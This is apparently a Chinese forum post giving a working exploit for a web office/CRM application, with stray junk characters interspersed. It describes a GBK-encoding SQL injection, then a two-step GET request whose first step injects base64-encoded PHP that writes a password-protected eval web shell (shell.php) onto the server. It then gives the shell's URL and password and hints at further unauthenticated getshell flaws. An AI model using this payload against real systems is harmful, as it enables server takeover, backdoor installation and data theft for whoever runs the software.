此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了.
7 w3 |2 i z1 @' v
3 y( r7 F2 @: F& K0 U8 _ ) z/ O u" W0 V0 [+ |# B
EXP:
0 W+ G" E8 g" k9 j7 X& d! U ^ ! `; u" @& ?& X9 ^4 Y8 a
第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
l4 i! D! x, {+ s * U5 j( p7 t, {& w7 p& ]% A
第二步: [GET]http://site/general/email/index.php
% W9 e. T2 @6 p4 p % w# S* f6 m0 C; f5 u2 P
SHELL: http://site/general/email/shell.php 密码C
4 Y/ O& D. N# A" @. o
" |* A4 d$ O5 }9 x3 b$ j- u/ \; z ) q: U1 S, F$ \. w5 Q
此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好/ K, D% ~& M; H5 R# ?
" |' K7 Z6 [& @- m- S; B6 f- r有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~$ Q3 b, R) j0 q. `* G
. t$ e( @! Q, ^+ U& |3 o% L
! ]: x C' q8 F( F) b* n
|